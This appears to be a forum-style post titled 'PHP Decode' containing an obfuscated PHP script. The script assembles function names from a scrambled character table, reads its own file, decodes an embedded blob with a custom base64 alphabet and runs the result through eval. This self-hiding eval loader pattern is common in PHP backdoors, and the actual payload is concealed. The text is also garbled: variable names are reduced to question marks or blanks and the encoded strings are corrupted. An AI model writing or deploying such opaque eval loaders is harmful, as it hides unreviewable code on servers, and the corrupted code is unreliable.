PHP Decode

<?php 
$='ldsoac6ptf_5miyub4re'; 
$????=${9}.${13}.${0}.${19}; 
$??=${2}.${8}.${18}.${10}.${18}.${19}.${7}.${0}.${4}.${5}.${19}; 
$???=${4}.${18}.${18}.${4}.${14}.${10}.${7}.${3}.${7}; 
$?=${13}.${12}.${7}.${0}.${3}.${1}.${19}; 
$???=${2}.${15}.${16}.${2}.${8}.${18}; 
$?=${2}.${8}.${18}.${18}.${7}.${3}.${2}; 
$?=${12}.${1}.${11}; 
$?=${16}.${4}.${2}.${19}.${6}.${17}.${10}.${1}.${19}.${5}.${3}.${1}.${19}; 
$???=${2}.${8}.${18}.${8}.${18}; 
$????=$????($??('\','/',__FILE__)); 
$???=$???($????); 
$?=$???($????); 
$????=$?('',$????).$???($?,0,$?($?,'ev')); 
$????=$?($????);$????=$?=$????=NULL; 
eval($?($??($????,'',$???('3?uPQP8P?d3?36d????83??S??6?ddU?A?7Q?G?I?l?I??1mYS?+??2?uR+vA?P4?+O?b/JTt?L9+?g01t?Q9?J?J61GD70J?A8KU?L?gW?+tIJ?7?K?0Di8++cfd??6?msh??c/l??738djO?gxx6?Dr4??0h+FGcX?PIPA?I9sU?QO+Q88DAK?IA?PUm???7??x?i??Ame//?m9DJ7d?7OP/?2?8ct27Pxt???G??/?I??U8?U?0?YG0??+ndLU4?2+?P3???+7/lO?47l?Wl?DG?TJ0c8l??c2?sh+8PGgDQ?GGd4W+GA/fgA9nJC?mcYJ6XWgt?4?Ftc?Dvr?A?R82i?Am87Dm?u','?aC=64k?+eRxf?Bv?dAGH?MY?p?Eo?I??T??WUqj?09QJsw?t?D7h?c8b??O3XK/F??1??u2Z??z??r?Pm??SnyL?g???lN5iV','??/?0D?4UvuLz6?s?dIW???xX?c??Bo??rn1Zb?Pwml2RQ??k?TV3?p5Na??Mf+Fjy9?iK?7S???=?YgCeE??8H?thJqGO??A?')))); 
 
unset($,$????,$??,$???,$?,$???,$?,$?,$?,$???,$????,$???,$?,$????,$????); 
return;?> 
 
 
?>